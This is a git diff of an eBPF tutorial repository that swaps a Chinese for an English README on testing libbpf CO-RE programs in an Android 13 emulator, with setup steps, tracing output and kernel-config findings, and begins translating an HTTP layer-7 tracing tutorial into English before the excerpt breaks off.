的一种实践方式,其核心依赖是 libbpf,相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。 + +## 测试环境 + ++ Android Emulator(Android Studio Flamingo | 2022.2.1) ++ AVD: Pixel 6 ++ Android Image: Tiramisu Android 13.0 x86_64(5.15.41-android13-8-00055-g4f5025129fe8-ab8949913) + +## 环境搭建[^SeeFlowerX] + +1. 从 [eadb 仓库](https://github.com/tiann/eadb) 的 releases 页面获取 `debianfs-amd64-full.tar.gz` 作为 Linux 环境的 rootfs,同时还需要获取该项目的 `assets` 目录来构建环境; +2. 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device; +3. 通过 Android Studio SDK 的 adb 工具将 `debianfs-amd64-full.tar.gz` 和 `assets` 目录推送到 AVD 中: + + `./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz` + + `./adb push assets /data/local/tmp/assets` +4. 通过 adb 进入 Android shell 环境并获取 root 权限: + + `./adb shell` + + `su` +5. 在 Android shell 中构建并进入 debian 环境: + + `mkdir -p /data/eadb` + + `mv /data/local/tmp/assets/* /data/eadb` + + `mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz` + + `rm -r /data/local/tmp/assets` + + `chmod +x /data/eadb/device-*` + + `/data/eadb/device-unpack` + + `/data/eadb/run /data/eadb/debian` + +至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 `zcat /proc/config.gz` 并配合 `grep` 查看内核编译选项。 + +>目前,eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。 + +## 工具构建 + +在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 [build.md](https://eunomia.dev/eunomia-bpf/setup/build)。在本次测试中,笔者选用了 `ecc` 编译生成 `package.json` 的方式,该工具的构建和使用方式请参考[仓库页面](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/compiler)。 + +>在构建过程中,可能需要自行安装包括但不限于 `curl`,`pkg-config`,`libssl-dev` 等工具。 + +## 结果 + +有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。 + +### 成功案例 + +#### [bootstrap](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/bootstrap) + +运行输出如下: + +```console +TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT +09:09:19 10217 479 0 0 sh /system/bin/sh 0 +09:09:19 10217 479 0 0 ps /system/bin/ps 0 +09:09:19 10217 479 0 54352100 ps 1 +09:09:21 10219 479 0 0 sh /system/bin/sh 0 +09:09:21 10219 479 0 0 ps /system/bin/ps 0 +09:09:21 10219 479 0 44260900 ps 1 +``` + +#### [tcpstates](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/tcpstates) + +开始监测后在 Linux 环境中通过 `wget` 下载 Web 页面: + +```console +TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK +09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget +09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0 +09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget +09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0 +09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0 +09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet +09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet +``` + +开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面: + +```console +TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK +07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService +07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService +07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService +07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService +07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService +07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService +07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService +07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg +07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService +07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService +07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0 +07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService +07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0 +07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService +07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService +07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11 +07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService +07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService +07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService +07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet +``` + +### 一些可能的报错原因 + +#### [opensnoop](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/opensnoop) + +例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错: + +```console +libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory +libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory +libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2 +failed to attach skeleton +Error: BpfError("load and attach ebpf program failed") +``` + +后经查看发现内核未开启 `CONFIG_FTRACE_SYSCALLS` 选项,导致无法使用 syscalls 的 tracepoint。 + +## 总结 + +在 Android shell 中查看内核编译选项可以发现 `CONFIG_DEBUG_INFO_BTF` 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 `exec` 族函数的执行和 tcp 连接的状态。 + +对于无法运行的一些,原因主要是以下两个方面: + +1. 内核编译选项未支持相关 eBPF 功能; +2. eadb 打包的 Linux 环境较弱,缺乏必须依赖; + +目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 + +Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。 + +如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +## 参考 + +[^Google]: +[^WeiShu]: +[^SeeFlowerX]: diff --git a/src/22-android/README_en.md b/src/22-android/README_en.md deleted file mode 100644 index 38c202a8..00000000 --- a/src/22-android/README_en.md +++ /dev/null @@ -1,150 +0,0 @@ -# eBPF Tutorial by Example: Using eBPF Programs on Android - -> This article mainly documents the author's exploration process, results, and issues encountered while testing the level of support for CO-RE technology based on the libbpf library on high version Android kernels in the Android Studio Emulator. -> The test was conducted by building a Debian environment in the Android Shell environment and attempting to build the eunomia-bpf toolchain and run its test cases based on this. - -## Background - -As of now (2023-04), Android has not provided good support for dynamic loading of eBPF programs. Both the compiler distribution scheme represented by bcc and the CO-RE scheme based on btf and libbpf rely heavily on Linux environment support and cannot run well on the Android system.[^WeiShu] - -However, there have been some successful cases of trying eBPF on the Android platform. In addition to the solution provided by Google to modify `Android.bp` to build and mount eBPF programs with the entire system[^Google], some people have proposed building a Linux environment based on the Android kernel and running the eBPF toolchain using this approach, and have developed related tools. - -Currently available information mostly focuses on the testing of bcc and bpftrace toolchains based on the adeb/eadb sandbox built on the Android kernel, with less testing work on the CO-RE scheme. There is more reference material available for using the bcc tool on Android, such as: - -+ SeeFlowerX: -+ evilpan: - -The main idea is to use chroot to run a Debian image on the Android kernel and build the entire bcc toolchain within it in order to use eBPF tools. The same principle applies to using bpftrace. - -In fact, higher versions of the Android kernel already support the btf option, which means that the emerging CO-RE technology in the eBPF field should also be applicable to Linux systems based on the Android kernel. This article will test and run eunomia-bpf in the emulator environment based on this. - -> [eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) is an open-source project that combines libbpf and WebAssembly technology, aiming to simplify the writing, compilation, and deployment of eBPF programs. This project can be seen as a practical way of implementing CO-RE, with libbpf as its core dependency. It is believed that the testing work of eunomia-bpf can provide reference for other CO-RE schemes. - -## Test Environment - -+ Android Emulator (Android Studio Flamingo | 2022.2.1) -+ AVD: Pixel 6 -+ Android Image: Tiramisu Android 13.0 x86_64 (5.15.41-android13-8-00055-g4f5025129fe8-ab8949913) - -## Environment Setup[^SeeFlowerX] - -1. Obtain `debianfs-amd64-full.tar.gz` from the releases page of the [eadb repository](https://github.com/tiann/eadb) as the rootfs of the Linux environment. Also, get the `assets` directory from this project to build the environment. -2. Configure and start the Android Virtual Device in the Android Studio Device Manager. -3. Push `debianfs-amd64-full.tar.gz` and the `assets` directory to the AVD using the adb tool from the Android Studio SDK: - + `./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz` - + `./adb push assets /data/local/tmp/assets` -4. Use adb to enter the Android shell environment and obtain root permissions: - + `./adb shell` - + `su` -5. Build and enter the debian environment in the Android shell: - + `mkdir -p /data/eadb` - + `mv /data/local/tmp/assets/* /data/eadb` - + `mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz`+ `rm -r /data/local/tmp/assets` - + `chmod +x /data/eadb/device-*` - + `/data/eadb/device-unpack` - + `/data/eadb/run /data/eadb/debian` - -At this point, the Linux environment required for testing eBPF has been set up. In addition, in the Android shell (before entering debian), you can use `zcat /proc/config.gz` in conjunction with `grep` to view kernel compilation options. - ->Currently, the debian environment packaged by eadb has a low version of libc and lacks many tool dependencies. Additionally, due to different kernel compilation options, some eBPF features may not be available. - -## Build Tools - -Clone the eunomia-bpf repository into the local debian environment. For the specific build process, refer to the repository's [build.md](https://github.com/eunomia-bpf/eunomia-bpf/blob/master/documents/build.md). In this test, I used the `ecc` compilation method to generate the `package.json`. Please refer to the [repository page](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/compiler) for the build and usage instructions for this tool. - ->During the build process, you may need to manually install tools such as `curl`, `pkg-config`, `libssl-dev`, etc. - -## Results - -Some eBPF programs can be successfully executed on Android, but there are also some applications that cannot be executed successfully for various reasons. - -### Success Cases - -#### [bootstrap](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/bootstrap) - -The output of running is as follows: - -```console -TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT -09:09:19 10217 479 0 0 sh /system/bin/sh 0 -09:09:19 10217 479 0 0 ps /system/bin/ps 0 -09:09:19 10217 479 0 54352100 ps 1 -09:09:21 10219 479 0 0 sh /system/bin/sh 0 -09:09:21 10219 479 0 0 ps /system/bin/ps 0 -09:09:21 10219 479 0 44260900 ps 1 -``` - -#### [tcpstates](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/tcpstates) - -After starting monitoring, download a web page using `wget` in the Linux environment: - -```console -TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK -09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget -09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0 -09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget -09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0 -09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0 -09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet -09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet -``` - -Start the detection and open the Chrome browser in the Android Studio simulation interface to access the Baidu page: - -```console -TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK -07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService -07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService -07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService -07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService -07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService -07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService -07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService".07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg -07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService -07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService -07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0 -07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService -07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0 -07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService -07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService -07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11 -07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService -07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService -07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService -07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet -``` - -Note: some error messages may appear in the Android shell during the test: - -```console -libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory -libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory -libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2 -failed to attach skeleton -Error: BpfError("load and attach ebpf program failed") -``` - -Later, after investigation, it was found that the kernel did not enable the `CONFIG_FTRACE_SYSCALLS` option, which resulted in the inability to use the tracepoint of syscalls. - -## Summary - -The `CONFIG_DEBUG_INFO_BTF` option is enabled by default when viewing the kernel compilation options in the Android shell. Based on this, the examples provided by the eunomia-bpf project already have some successful cases, such as monitoring the execution of the `exec` family of functions and the status of TCP connections. - -For some cases that cannot run, the reasons are mainly the following: - -1. The kernel compilation options do not support the relevant eBPF functionality; -2. The Linux environment packaged by eadb is weak and lacks necessary dependencies; - -Currently, using eBPF tools in the Android system still requires building a complete Linux runtime environment. However, the Android kernel itself has comprehensive support for eBPF. This test proves that higher versions of the Android kernel support BTF debugging information and CO-RE dependent eBPF programs. - -The development of eBPF tools in the Android system requires the addition of official new features. Currently, it seems that using eBPF tools directly through an Android app requires a lot of effort. At the same time, since eBPF tools require root privileges, ordinary Android users will encounter more difficulties in using them. - -If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository or website to get more examples and complete tutorials. - -## Reference - -+ [Google android docs](https://source.android.google.cn/docs/core/architecture/kernel/bpf) -+ [weixin WeiShu](https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA) -+ [SeeFlowerX](https://blog.seeflower.dev/archives/138/>) - -> The original link of this article: diff --git a/src/23-http/.config b/src/23-http/.config new file mode 100644 index 00000000..12323e66 --- /dev/null +++ b/src/23-http/.config @@ -0,0 +1,2 @@ +level=Depth +type=Networking diff --git a/src/23-http/README.md b/src/23-http/README.md index a6d11043..a17c8ed0 100644 --- a/src/23-http/README.md +++ b/src/23-http/README.md @@ -1,97 +1,86 @@ -# 通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议 - eBPF 实践教程 +# L7 Tracing with eBPF: HTTP and Beyond via Socket Filters and Syscall Tracepoints -在当今的技术环境中,随着微服务、云原生应用和复杂的分布式系统的崛起,系统的可观测性已成为确保其健康、性能和安全的关键要素。特别是在微服务架构中,应用程序的组件可能分布在多个容器和服务器上,这使得传统的监控方法往往难以提供足够的深度和广度来全面了解系统的行为。这就是为什么观测七层协议,如 HTTP、gRPC、MQTT 等,变得尤为重要。 +In today's technology landscape, with the rise of microservices, cloud-native applications, and complex distributed systems, observability of systems has become a crucial factor in ensuring their health, performance, and security. Especially in a microservices architecture, application components may be distributed across multiple containers and servers, making traditional monitoring methods often insufficient to provide the depth and breadth needed to fully understand the behavior of the system. This is where observing seven-layer protocols such as HTTP, gRPC, MQTT, and more becomes particularly important. -七层协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。在微服务环境中,了解这些交互是至关重要的,因为它们经常是性能瓶颈、故障和安全问题的根源。然而,监控这些协议并不简单。传统的网络监控工具,如 tcpdump,虽然在捕获网络流量方面非常有效,但在处理七层协议的复杂性和动态性时,它们往往显得力不从心。 +Seven-layer protocols provide detailed insights into how applications interact with other services and components. In a microservices environment, understanding these interactions is vital, as they often serve as the root causes of performance bottlenecks, failures, and security issues. However, monitoring these protocols is not a straightforward task. Traditional network monitoring tools like tcpdump, while effective at capturing network traffic, often fall short when dealing with the complexity and dynamism of seven-layer protocols. -这正是 eBPF 技术发挥作用的地方。eBPF 允许开发者和运维人员深入到系统的内核层,实时观测和分析系统的行为,而无需对应用程序代码进行任何修改或插入埋点。这为我们提供了一个独特的机会,可以更简单、更高效地处理应用层流量,特别是在微服务环境中。 +This is where eBPF (extended Berkeley Packet Filter) technology comes into play. eBPF allows developers and operators to delve deep into the kernel layer, observing and analyzing system behavior in real-time without the need to modify or insert instrumentation into application code. This presents a unique opportunity to handle application layer traffic more simply and efficiently, particularly in microservices environments. -在本教程中,我们将深入探讨以下内容: +In this tutorial, we will delve into the following: -- 追踪七层协议,如 HTTP,以及与其相关的挑战。 -- eBPF 的 socket filter 和 syscall 追踪:这两种技术如何帮助我们在不同的内核层次追踪 HTTP 网络请求数据,以及这两种方法的优势和局限性。 -- eBPF 实践教程:如何开发一个 eBPF 程序,使用 eBPF socket filter 或 syscall 追踪来捕获和分析 HTTP 流量 +- Tracking seven-layer protocols such as HTTP and the challenges associated with them. +- eBPF's socket filter and syscall tracing: How these two technologies assist in tracing HTTP network request data at different kernel layers, and the advantages and limitations of each. +- eBPF practical tutorial: How to develop an eBPF program and utilize eBPF socket filter or syscall tracing to capture and analyze HTTP traffic. -随着网络流量的增加和应用程序的复杂性增加,对七层协议的深入了解变得越来越重要。通过本教程,您将获得必要的知识和工具,以便更有效地监控和分析您的网络流量,从而为您的应用程序和服务器提供最佳的性能。 +As network traffic increases and applications grow in complexity, gaining a deeper understanding of seven-layer protocols becomes increasingly important. Through this tutorial, you will acquire the necessary knowledge and tools to more effectively monitor and analyze your network traffic, ultimately enhancing the performance of your applications and servers. -本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到: 源代码在 [GitHub 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial) 中开源。 +This article is part of the eBPF Developer Tutorial, and for more detailed content, you can visit [here](https://eunomia.dev/tutorials/). The source code is available on the [GitHub repository](https://github.com/eunomia-bpf/bpf-developer-tutorial). -## 追踪 HTTP, HTTP/2 等七层协议的挑战 +## Challenges in Tracking HTTP, HTTP/2, and Other Seven-Layer Protocols -在现代的网络环境中,七层协议不仅仅局限于 HTTP。实际上,有许多七层协议,如 HTTP/2, gRPC, MQTT, WebSocket, AMQP 和 SMTP,它们都在不同的应用场景中发挥着关键作用。这些协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。但是,追踪这些协议并不是一个简单的任务,尤其是在复杂的分布式系统中。 +In the modern networking environment, seven-layer protocols extend beyond just HTTP. In fact, there are many seven-layer protocols such as HTTP/2, gRPC, MQTT, WebSocket, AMQP, and SMTP, each serving critical roles in various application scenarios. These protocols provide detailed insights into how applications interact with other services and components. However, tracking these protocols is not a simple task, especially within complex distributed systems. -1. **多样性和复杂性**:每种七层协议都有其特定的设计和工作原理。例如,gRPC 使用了 HTTP/2 作为其传输协议,并支持多种语言。而 MQTT 是为低带宽和不可靠的网络设计的轻量级发布/订阅消息传输协议。 +1. **Diversity and Complexity**: Each seven-layer protocol has its specific design and workings. For example, gRPC utilizes HTTP/2 as its transport protocol and supports multiple languages, while MQTT is a lightweight publish/subscribe messaging transport protocol designed for low-bandwidth and unreliable networks. -2. **动态性**:许多七层协议都是动态的,这意味着它们的行为可能会根据网络条件、应用需求或其他因素而变化。 +2. **Dynamism**: Many seven-layer protocols are dynamic, meaning their behavior can change based on network conditions, application requirements, or other factors. -3. **加密和安全性**:随着安全意识的增强,许多七层协议都采用了加密技术,如 TLS/SSL。这为追踪和分析带来了额外的挑战,因为需要解密流量才能进行深入的分析。 +3. **Encryption and Security**: With increased security awareness, many seven-layer protocols employ encryption technologies such as TLS/SSL. This introduces additional challenges for tracking and analysis, as decrypting traffic is required for in-depth examination. -4. **高性能需求**:在高流量的生产环境中,捕获和分析七层协议的流量可能会对系统性能产生影响。传统的网络监控工具可能无法处理大量的并发会话。 +4. **High-Performance Requirements**: In high-traffic production environments, capturing and analyzing traffic for seven-layer protocols can impact system performance. Traditional network monitoring tools may struggle to handle a large number of concurrent sessions. -5. **数据的完整性和连续性**:与 tcpdump 这样的工具只捕获单独的数据包不同,追踪七层协议需要捕获完整的会话,这可能涉及多个数据包。这要求工具能够正确地重组和解析这些数据包,以提供连续的会话视图。 +5. **Data Completeness and Continuity**: Unlike tools like tcpdump, which capture individual packets, tracking seven-layer protocols requires capturing complete sessions, which may involve multiple packets. This necessitates tools capable of correctly reassembling and parsing these packets to provide a continuous session view. -6. **代码侵入性**:为了深入了解七层协议的行为,开发人员可能需要修改应用程序代码以添加监控功能。这不仅增加了开发和维护的复杂性,而且可能会影响应用程序的性能。 +6. **Code Intrusiveness**: To gain deeper insights into the behavior of seven-layer protocols, developers may need to modify application code to add monitoring functionalities. This not only increases development and maintenance complexity but can also impact application performance. -正如上文所述,eBPF 提供了一个强大的解决方案,允许我们在内核层面捕获和分析七层协议的流量,而无需对应用程序进行任何修改。这种方法为我们提供了一个独特的机会,可以更简单、更高效地处理应用层流量,特别是在微服务和分布式环境中。 +As mentioned earlier, eBPF provides a powerful solution, allowing us to capture and analyze seven-layer protocol traffic in the kernel layer without modifying application code. This approach not only offers insights into system behavior but also ensures optimal performance and efficiency. This is why eBPF has become the preferred technology for modern observability tools, especially in production environments that demand high performance and low latency. -在处理网络流量和系统行为时,选择在内核态而非用户态进行处理有其独特的优势。首先,内核态处理可以直接访问系统资源和硬件,从而提供更高的性能和效率。其次,由于内核是操作系统的核心部分,它可以提供对系统行为的全面视图,而不受任何用户空间应用程序的限制。 - -**无插桩追踪("zero-instrumentation observability")**的优势如下: - -1. **性能开销小**:由于不需要修改或添加额外的代码到应用程序中,所以对性能的影响最小化。 -2. **透明性**:开发者和运维人员不需要知道应用程序的内部工作原理,也不需要访问源代码。 -3. **灵活性**:可以轻松地在不同的环境和应用程序中部署和使用,无需进行任何特定的配置或修改。 -4. **安全性**:由于不需要修改应用程序代码,所以降低了引入潜在安全漏洞的风险。 - -利用 eBPF 在内核态进行无插桩追踪,我们可以实时捕获和分析系统的行为,而不需要对应用程序进行任何修改。这种方法不仅提供了对系统深入的洞察力,而且确保了最佳的性能和效率。这是为什么 eBPF 成为现代可观测性工具的首选技术,特别是在需要高性能和低延迟的生产环境中。 - -## eBPF 中的 socket filter 与 syscall 追踪:深入解析与比较 +## eBPF Socket Filter vs. Syscall Tracing: In-Depth Analysis and Comparison ### **eBPF Socket Filter** -**是什么?** -eBPF socket filter 是经典的 Berkeley Packet Filter (BPF) 的扩展,允许在内核中直接进行更高级的数据包过滤。它在套接字层操作,使得可以精细地控制哪些数据包被用户空间应用程序处理。 +**What Is It?** +eBPF socket filter is an extension of the classic Berkeley Packet Filter (BPF) that allows for more advanced packet filtering directly within the kernel. It operates at the socket layer, enabling fine-grained control over which packets are processed by user-space applications. -**主要特点:** +**Key Features:** -- **性能**:通过在内核中直接处理数据包,eBPF socket filters 减少了用户和内核空间之间的上下文切换的开销。 -- **灵活性**:eBPF socket filters 可以附加到任何套接字,为各种协议和套接字类型提供了通用的数据包过滤机制。 -- **可编程性**:开发者可以编写自定义的 eBPF 程序来定义复杂的过滤逻辑,超越简单的数据包匹配。 +- **Performance**: By handling packets directly within the kernel, eBPF socket filters reduce the overhead of context switches between user and kernel spaces. +- **Flexibility**: eBPF socket filters can be attached to any socket, providing a universal packet filtering mechanism for various protocols and socket types. +- **Programmability**: Developers can write custom eBPF programs to define complex filtering logic beyond simple packet matching. -**用途:** +**Use Cases:** -- 